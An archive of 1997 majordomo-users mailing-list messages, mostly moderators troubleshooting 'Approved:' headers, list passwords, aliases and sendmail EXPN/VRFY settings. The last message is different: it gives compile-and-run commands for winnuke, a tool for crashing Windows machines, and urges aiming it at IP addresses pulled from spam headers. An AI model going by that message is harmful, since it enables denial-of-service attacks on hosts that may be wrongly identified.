izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id LAA13283 for ; Tue, 3 Jun 1997 11:35:14 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id LAA22735; Tue, 3 Jun 1997 11:35:13 -0400 (EDT) Date: Tue, 3 Jun 1997 11:35:13 -0400 (EDT) From: "Sanford E. Walke IV" To: chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Approved: xxxxxx >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- Someone suggested leaving out the line between the approve and the headers, and someone else suggested using approve instead of Approved:. Here's that one: >From sewiv@izzy.net Date: Tue, 3 Jun 1997 11:34:11 -0400 (EDT) From: "Sanford E. Walke IV" To: chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required (fwd) approve xxxxxx >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- And here's the answer I got (note that it's an Admin request now): >From owner-chim-members@chim.org Date: Tue, 3 Jun 1997 11:34:26 -0400 (EDT) From: owner-chim-members@chim.org To: owner-chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Admin request >From chim-members-owner Tue Jun 3 11:34:13 1997 Received: from izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id LAA13226 for ; Tue, 3 Jun 1997 11:34:12 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id LAA22673; Tue, 3 Jun 1997 11:34:11 -0400 (EDT) Date: Tue, 3 Jun 1997 11:34:11 -0400 (EDT) From: "Sanford E. Walke IV" To: chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII approve xxxxxx >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- Someone said that the password had to be in the password file, not the config file, and that's how I did the above messages. Then I tried the following, because that's what the approve_passwd line was set to in the config file, and maybe that was the actual password (this isn't clear from the FAQ or the comments in the config file). >From sewiv@izzy.net Date: Tue, 3 Jun 1997 11:38:46 -0400 (EDT) From: "Sanford E. Walke IV" To: chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required (fwd) Approved: chim-members.passwd >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- And here's what I got. Still nothing working. >From owner-chim-members@chim.org Date: Tue, 3 Jun 1997 11:38:54 -0400 (EDT) From: owner-chim-members@chim.org To: owner-chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required >From chim-members-owner Tue Jun 3 11:38:48 1997 Received: from izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id LAA13417 for ; Tue, 3 Jun 1997 11:38:47 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id LAA22786; Tue, 3 Jun 1997 11:38:46 -0400 (EDT) Date: Tue, 3 Jun 1997 11:38:46 -0400 (EDT) From: "Sanford E. Walke IV" To: chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Approved: chim-members.passwd >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- If I use approve instead of Approved:, I get Admin request bounces. If I use Approved:, with or without blank lines between it and the body, I get Approval bounces. If I use the password from the password file, I get Approval bounces. If I use the actual literal setting of the approve_ passwd field in the config file, I get Approval bounces. Nothing seems to work. What am I doing wrong? Sandy sewiv@izzy.net Honesty is paramount to me. Lying to me to avoid hurting me never works. Being lied to always causes me more pain than the truth ever could. I don't speak for anyone but myself, and sometimes not even that. From owner-majordomo-users-outgoing Tue Jun 3 10:17:34 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA17145 for majordomo-users-outgoing; Tue, 3 Jun 1997 10:12:48 -0700 (PDT) Received: from izzy4.izzy.net (izzy4.izzy.net [198.108.102.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA17119 for ; Tue, 3 Jun 1997 10:12:38 -0700 (PDT) Received: from izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id NAA18910 for ; Tue, 3 Jun 1997 13:16:08 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id NAA25417; Tue, 3 Jun 1997 13:16:07 -0400 (EDT) Date: Tue, 3 Jun 1997 13:16:07 -0400 (EDT) From: "Sanford E. Walke IV" To: majordomo list Subject: approval problem solved Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Jim Reisert solved my problem for me. Thanks for all the help. Sandy sewiv@izzy.net Honesty is paramount to me. Lying to me to avoid hurting me never works. Being lied to always causes me more pain than the truth ever could. I don't speak for anyone but myself, and sometimes not even that. From owner-majordomo-users-outgoing Tue Jun 3 10:30:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA16976 for majordomo-users-outgoing; Tue, 3 Jun 1997 10:11:01 -0700 (PDT) Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA16945 for ; Tue, 3 Jun 1997 10:10:47 -0700 (PDT) Received: (from lazlo@localhost) by kitsune.swcp.com (8.8.5/1.2.3) id LAA24975; Tue, 3 Jun 1997 11:14:09 -0600 (MDT) Message-Id: <199706031714.LAA24975@kitsune.swcp.com> Subject: Re: approval problems To: sewiv@izzy.net (Sanford E. Walke IV) Date: Tue, 3 Jun 1997 11:14:08 -0600 (MDT) From: "Lazlo Nibble" Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Sanford E. Walke IV" at Jun 3, 97 12:03:00 pm X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > Okay, it was suggested that I post verbatim results, to try to figure > out what I'm doing wrong. > > Here's how I replied, straight out of the FAQ: > > >From sewiv@izzy.net > Date: Tue, 3 Jun 1997 11:35:13 -0400 (EDT) > From: "Sanford E. Walke IV" > To: chim-members@chim.org > Subject: BOUNCE chim-members@chim.org: Approval required (fwd) > > > Approved: xxxxxx > > >From chim-members-owner Tue Jun 3 10:48:51 1997 This isn't straight out of the FAQ. The FAQ says: > If you don't have access to "approve" (e.g. you're not on a UNIX system > with Perl), you have to do it by hand. The easiest way is to forward the > original message to the list, add the line "Approved: approval-password" > to the very first line of the body, and then the entire contents of the ^^^^^^^^^^^^^^^ > original message. (meaning there should not be a blank line before and > after the "Approved:" line.) ^^^ You have blank lines before and after the "Approved:" line. Hope this helps. -- ::: Lazlo (lazlo@swcp.com; http://www.swcp.com/lazlo) ::: Internet Music Wantlists: http://www.swcp.com/lazlo/Wantlists From owner-majordomo-users-outgoing Tue Jun 3 10:44:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA17088 for majordomo-users-outgoing; Tue, 3 Jun 1997 10:12:27 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA17048 for ; Tue, 3 Jun 1997 10:12:06 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA18335 for majordomo-users@greatcircle.com; Tue, 3 Jun 97 10:15:38 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA20261 for majordomo-users@greatcircle.com; Tue, 3 Jun 97 10:14:52 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.7.1/8.7.1) with ESMTP id MAA13906; Tue, 3 Jun 1997 12:14:52 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id MAA06866; Tue, 3 Jun 1997 12:14:51 -0500 From: Dave Wolfe Message-Id: <199706031714.MAA06866@miaow.risc.sps.mot.com> Subject: Re: approval problems To: sewiv@izzy.net (Sanford E. Walke IV) Date: Tue, 3 Jun 1997 12:14:50 -0500 (CDT) Cc: majordomo-users@greatcircle.com (Majordomo user's mailing list) In-Reply-To: from "Sanford E. Walke IV" at Jun 3, 97 12:03:00 pm Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk [ Sanford E. Walke IV writes: ] > > Okay, it was suggested that I post verbatim results, to try to figure > out what I'm doing wrong. Here's the first approval bounce message, > totally normal. [deleted] > Here's how I replied, straight out of the FAQ: Note that the FAQ distributed with Mj is incorrect and has been superceded. The updated text reads: Any mail which is not "approved", gets bounced with "Approval required". If the moderator wishes to approve the message for the list, then you need to tag the message as "approved" and send it to the list. The "approve" script which comes with Majordomo does this for you. If you don't have access to "approve" (e.g. you're not on a UNIX system with Perl), you have to do it by hand. The easiest way is to forward the original message to the list, add the line "Approved: _approval-password_" to the very first line of the body, and then the entire contents of the original message. (meaning there should not be a blank line before and after the "Approved:" line.) Note that last parenthetical statement. > >From sewiv@izzy.net > Date: Tue, 3 Jun 1997 11:35:13 -0400 (EDT) > From: "Sanford E. Walke IV" > To: chim-members@chim.org > Subject: BOUNCE chim-members@chim.org: Approval required (fwd) > > Note that you have a blank line before the Approved header. > Approved: xxxxxx > Note that you have a blank line between the Approved header and the original headers. That will put bogus headers on the outgoing message and include the orginal headers in the body of the posted message. > >From chim-members-owner Tue Jun 3 10:48:51 1997 > Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) > Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) > From: "Portia A. Testuser" > X-Sender: portia@izzy4 > To: chim-members@chim.org > Subject: test > Message-ID: > MIME-Version: 1.0 > Content-Type: TEXT/PLAIN; charset=US-ASCII > > portia test [...] > Someone suggested leaving out the line between the approve and the headers, > and someone else suggested using approve instead of Approved:. Here's > that one: > > >From sewiv@izzy.net > Date: Tue, 3 Jun 1997 11:34:11 -0400 (EDT) > From: "Sanford E. Walke IV" > To: chim-members@chim.org > Subject: BOUNCE chim-members@chim.org: Approval required (fwd) > > > approve xxxxxx They meant the approve *script*. If you insert the header manually, it's spelled "Approved:". If you use the approve script, you just pipe the entire bounced message, complete with full headers, to approve. > Someone said that the password had to be in the password file, not the > config file, and that's how I did the above messages. Then I tried > the following, because that's what the approve_passwd line was set > to in the config file, and maybe that was the actual password (this > isn't clear from the FAQ or the comments in the config file). That's what I hate about responses not being Cc'ed to the list: propagation of misinformation without refutation. I'll assume said "someone" meant (and indicated) the listname.passwd. That file is deprecated and such a statement is incorrect. The 'admin_passwd' in the listname.config file always works and the 'approve_passwd' works for approvals going to the list (as opposed to majordomo), i.e. moderation approvals. -- Dave Wolfe From owner-majordomo-users-outgoing Tue Jun 3 13:00:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA04509 for majordomo-users-outgoing; Tue, 3 Jun 1997 12:47:38 -0700 (PDT) Received: from web.webcoach.com (web.webcoach.com [204.245.253.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA04482 for ; Tue, 3 Jun 1997 12:47:30 -0700 (PDT) Received: from mogens.webcoach.com (mogens.webcoach.com [204.245.253.12]) by web.webcoach.com (8.8.5/8.7.3) with SMTP id MAA17825 for ; Tue, 3 Jun 1997 12:51:10 -0700 (PDT) Message-Id: <3.0.1.32.19970603125101.0095cb00@mail.webcoach.com> X-Sender: mogens@mail.webcoach.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Tue, 03 Jun 1997 12:51:01 -0700 To: majordomo-users@greatcircle.com From: Mogens Gilmour Subject: Sendmail.cf request question Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I am in the process of moving some lists to my system a user requested that I modify my sendmail.cf as follows. - Disable the SMTP EXPN command. This can be done by adding the following line to /etc/sendmail.cf: Opnoexpn,novrfy I am wondering is this a good thing to do? What does this do for majordomo? Will this effect other sendmail options? I have over 200 mailing lists on my system so I don't want to screw anything up. TIA, mogens ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Free Web Page With Our Domain Account - Call TODAY! WebCoach Internet Services Corporation Your Professional Internet Presence Provider Mogens L. Gilmour 503/655-6813 (talk) 503/655-6907 (fax) http://www.webcoach.com Info@WebCoach.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-majordomo-users-outgoing Tue Jun 3 13:38:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA08366 for majordomo-users-outgoing; Tue, 3 Jun 1997 13:28:44 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA08328 for ; Tue, 3 Jun 1997 13:28:33 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id PAA19716; Tue, 3 Jun 1997 15:35:22 -0500 Date: Tue, 3 Jun 1997 15:35:21 -0500 (CDT) From: "Jeremy T. Bouse" To: Mogens Gilmour cc: majordomo-users@GreatCircle.COM Subject: Re: Sendmail.cf request question In-Reply-To: <3.0.1.32.19970603125101.0095cb00@mail.webcoach.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Tue, 3 Jun 1997, Mogens Gilmour wrote: > I am wondering is this a good thing to do? What does this do for majordomo? > Will this effect other sendmail options? I have over 200 mailing lists on > my system so I don't want to screw anything up. > > TIA, > > mogens > I run my machine with the noexpn,novrfy as I have found several spam mailers trying to use these as methods to comb for accounts to spam. I have also setup check_mail and check_rcpt rulesets to the sendmail.cf to allow me to block those email addresses and/or domains and stop people from using me as a relay host... Jeremy "Cyis" Bouse Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP ID/Fingerprint: 0xE83D9AE5/4ACC 03F0 98D7 8198 19D0 593E 50E5 97E9 Thought to ponder : All a hacker needs is a tight PUSHJ, a loose pair of UUOs, and a warm place to shift. ICQ UIN #303078 NIC Whois: JB5713 NEW PGP Key... available on key server at keys.pgp.com -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5SACeak13roPZrlAQEzcwP+NCTyaTAtfwO2CEElYUZjSxf73/wVC7RE Z1igem7Wbg12f8oa3P4fBeDjAxn2LkYxgmct6ojESH0TnrKMJTn5OuldfPD8F9DM m1Ped7MWpx5oOoqBiHmthITsfxIjUrZKQU1QUBrE92CQxBMngcjtRMMk8Eb1b8/I g11jMU6aMgg= =sp/L -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Tue Jun 3 13:46:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA08781 for majordomo-users-outgoing; Tue, 3 Jun 1997 13:31:27 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA08773 for ; Tue, 3 Jun 1997 13:31:22 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA27467; Tue, 3 Jun 1997 15:34:45 -0500 (CDT) To: Mogens Gilmour Cc: majordomo-users@GreatCircle.COM Subject: Re: Sendmail.cf request question References: <3.0.1.32.19970603125101.0095cb00@mail.webcoach.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Jun 1997 15:34:45 -0500 In-Reply-To: Mogens Gilmour's message of Tue, 03 Jun 1997 12:51:01 -0700 Message-ID: Lines: 24 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "MG" == Mogens Gilmour writes: MG> Opnoexpn,novrfy MG> I am wondering is this a good thing to do? What does this do for MG> majordomo? Well, if you have the standard Majordomo setup then EXPN can reveal the name of your outgoing alias and then reveal the entire membership list. If you're security conscious, disable EXPN. (Or work on implementing a scheme like TLB uses, where there simply no outgoing alias. Or wait for 2.0, which also has no outgoing aliases.) VRFY is more complicated; I don't believe that it gives away information other than that an address actually exists at your site. Keeping this on probably won't hurt anything, and actually serves as a bit of a courtesy. (Though I'm not sure just how many people still use VRFY for anything useful.) MG> Will this effect other sendmail options? It shouldn't. - J< From owner-majordomo-users-outgoing Tue Jun 3 14:30:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA14236 for majordomo-users-outgoing; Tue, 3 Jun 1997 14:28:14 -0700 (PDT) Received: from dnacom.com (dnacom.com [205.147.66.209]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA14229 for ; Tue, 3 Jun 1997 14:28:08 -0700 (PDT) Received: from localhost (jdawson@localhost) by dnacom.com (8.8.5/8.8.5) with SMTP id OAA05917 for ; Tue, 3 Jun 1997 14:31:46 -0700 (PDT) Date: Tue, 3 Jun 1997 14:31:44 -0700 (PDT) From: Jim Dawson X-Sender: jdawson@dnacom.com To: "Majordomo user's mailing list" Subject: Re: approval problems In-Reply-To: <199706031714.MAA06866@miaow.risc.sps.mot.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Dave Wolfe wrote: > That's what I hate about responses not being Cc'ed to the list: > propagation of misinformation without refutation. I'll assume said Oh, my. Do I see another round of heated discussion concerning Reply-To: and ccing? ;) Jim Please note our new phone number starting June 1st:+1.503.641.1449 __________________________________________________________________ Jim Dawson jdawson@navi.net GCN Communications, Inc. http://www.navi.net 2305 NW Kearney St. Ste. 239 voice: +1.503.641.1449 Portland, Or 97210 USA fax: +1.503.641.3634 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-majordomo-users-outgoing Tue Jun 3 14:46:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA15705 for majordomo-users-outgoing; Tue, 3 Jun 1997 14:41:04 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA15661 for ; Tue, 3 Jun 1997 14:40:50 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id SAA14267 for ; Tue, 3 Jun 1997 18:44:32 -0300 Date: Tue, 3 Jun 1997 18:44:28 -0300 (ADT) From: Knotwork Admin To: "Majordomo user's mailing list" Subject: Re: approval problems In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Jim Dawson wrote: > On Tue, 3 Jun 1997, Dave Wolfe wrote: > > That's what I hate about responses not being Cc'ed to the list: > > propagation of misinformation without refutation. I'll assume said > > Oh, my. Do I see another round of heated discussion concerning Reply-To: > and ccing? Well I would hate it if the mailing lists that I subscribe to ask sort of living FAQ demos - seeing for myself what questions are asked and how frequently and what the answers are - to turn into just questions without answers. So I certainly appreciate it that the correct answers end up on the list, as without answers the questions are useless to me. I think that in order to expect the correct answer to show up I have to accept the incorrect ones preceding it because those providing the incorrect ones usually think they are correct. When I ask questions I prefer the answer to appear on the list so that I know it will be seen by many others who will hopefully refute it if it is incorrect, or warn of any problems it may have etc. So I am decidely in favour of all answers to questions being posted to the list, regardless of whether they are also Cc'd anywhere else whatsoever. Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Tue Jun 3 15:00:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA16684 for majordomo-users-outgoing; Tue, 3 Jun 1997 14:47:21 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA16640 for ; Tue, 3 Jun 1997 14:47:10 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id QAA11899 for ; Tue, 3 Jun 1997 16:50:41 -0500 (CDT) Date: Tue, 3 Jun 1997 16:50:41 -0500 (CDT) From: Ray Jones cc: Majordomo Users Subject: Re: Support of old config methods, list-owners In-Reply-To: <199706031508.MAA07809@ecology.bio.dfo.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Bill Silvert wrote: > The problem is that list-owners are selected for their involvement with > the subject, not necessarily for their mastery of computers. My greatest > concern about MD is that list administration is really too complicated > for most of the people who I think should be doing the job, so I end up > managing almost all our lsits myself. What do you find so hard about md list administration? Though I've been into computers and electronic communications for around 17 years, I've never thought of myself as being a tech. I don't see anything hard about the list administration itself. I might not be able to set up majordomo itself, but I have no problem administering the list itself and don't see why anyone with a modicum of common sense would either. It certainly seems simple enough to me. > Frankly, when I look at the standard instructions to new list-owners, > most of the time I don't even send them out. Look at the number of > postings we get from MD administrators who can't figure out how to make > noadvertise work, and yet we expect novices to wade through all the > stuff about regexps? I admit I don't "fully" understand regexps, but I've managed to play around with it a bit and I think I've got it covered at least as far as advertise/noadvertise is concerned. You won't find my list advertised nor be able to get a list of subscribers, etc. unless you're a cracker or something. The ordinary person can't anyway. I also think I can figure out how to set up taboo headers, etc. if I had to. I was on my list for years before I took it over and it has always been pretty stable. So far, I've only had one occasion where I had any trouble with someone. I fixed that by changing to restrict_post and subscribe_policy=closed. The person who was causing trouble wasn't even a memeber of the list, but that cured that. -- Regards, "Big Ray the Buggy Driver" Jones - Licensed Tour Guide Disseminating information about New Orleans worldwide via my web page at http://www.neosoft.com/~rayjones/welcome.html or you can join "Big Ray's" New Orleans Mailing List by sending: subscribe noml To: majordomo@communique.net From owner-majordomo-users-outgoing Tue Jun 3 15:31:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA19440 for majordomo-users-outgoing; Tue, 3 Jun 1997 15:06:45 -0700 (PDT) Received: from tigger.oslc.org (www.oslc.org [198.68.4.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id PAA19421 for ; Tue, 3 Jun 1997 15:06:37 -0700 (PDT) Received: by tigger.oslc.org (5.65v3.2/1.1.10.5/17May97-0534PM) id AA02054; Tue, 3 Jun 1997 14:57:44 -0700 Date: Tue, 3 Jun 1997 14:57:44 -0700 From: "system PRIVILEGED account- John F. Marten" Message-Id: <9706032157.AA02054@tigger.oslc.org> To: majordomo-users@greatcircle.com Subject: Summary: Op. Sys.err, and a ? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Content-Md5: kEsAXpzLdb3nlbJPqZ1CHg== Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk thanx for replies. i had failed to put in the word resend in my alias statement when i retyped it.=20 here's another question: i have an alias that looks like this: # DC-info:DC DC: "|/usr/local/majordomo/wrapper resend -l DC -h tigger2.org -s = DC-outgoing" owner-DC: DC-owner DC-outgoing: :include:/usr/local/majordomo/mail/lists/dc, DC-archive owner-DC-outgoing: DC-owner DC-archive: "|/usr/local/majordomo/wrapper archive2.pl -a -m -f=20 /usr/local/majordomo/mail/archive/dc/dc.archive" DC-request: "|/usr/local/majordomo/wrapper request-answer DC" owner-DC-request: DC-owner DC-approval: joeb DC-owner: joeb owner-DC-owner: joeb # i have run newaliases. but when i try to send mail, mail DC i get back the message: DC... User unknown im running DU4.0b on an alphaserver1000 an my version of majordomo is = 1.94.3 tia From owner-majordomo-users-outgoing Tue Jun 3 15:45:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA19916 for majordomo-users-outgoing; Tue, 3 Jun 1997 15:09:42 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA19897 for ; Tue, 3 Jun 1997 15:09:36 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id TAA02204 for ; Tue, 3 Jun 1997 19:13:20 -0300 Date: Tue, 3 Jun 1997 19:13:15 -0300 (ADT) From: Knotwork Admin To: Majordomo Users Subject: Re: Support of old config methods, list-owners In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Ray Jones wrote: > What do you find so hard about md list administration? Though I've been > into computers and electronic communications for around 17 years, I've > never thought of myself as being a tech. I don't see anything hard about Yeah well think again techboy, 'cause you sure 'nuff are quite the little techie. Many's the time I've seen you answer questions on this list quite technically. 17 years. Give the newbies a break. Try 17 minutes or 17 hours or even 17 days. Techie you are, sorry. Or nerd if you prefer? Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Tue Jun 3 16:00:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA22320 for majordomo-users-outgoing; Tue, 3 Jun 1997 15:24:24 -0700 (PDT) Received: from kesl.kesl.net (www.cag.co.kr [203.251.176.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA22296 for ; Tue, 3 Jun 1997 15:24:16 -0700 (PDT) Received: (from temp@localhost) by kesl.kesl.net (8.8.4/8.6.10) id HAA25800 for majordomo-users@GreatCircle.COM; Wed, 4 Jun 1997 07:23:58 +0900 Date: Wed, 4 Jun 1997 07:23:58 +0900 From: Account for a Temp Message-Id: <199706032223.HAA25800@kesl.kesl.net> To: majordomo-users@GreatCircle.COM Subject: Anti-Spammer Tool Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk How to use WinNuke to get rid of spammers winnuke.c is a program which will crash any Windows 95/NT machine. Since this operating system is popular among spammers, winnuke makes it easy to get rid of them. Compile winnuke.c it by typing: gcc winnuke.c -o winnuke If you have SunOS, you may need to use this command instead: gcc winnuke.c -lsocket -lnsl -o winnuke You should now have an executable program called winnuke in your directory. Now find the spammer's IP number. This is the first IP number in the mail headers which is not your mail server or mail relay. Once you have the spammer's IP number (eg 192.168.12.109) type: ./winnuke 192.168.12.109 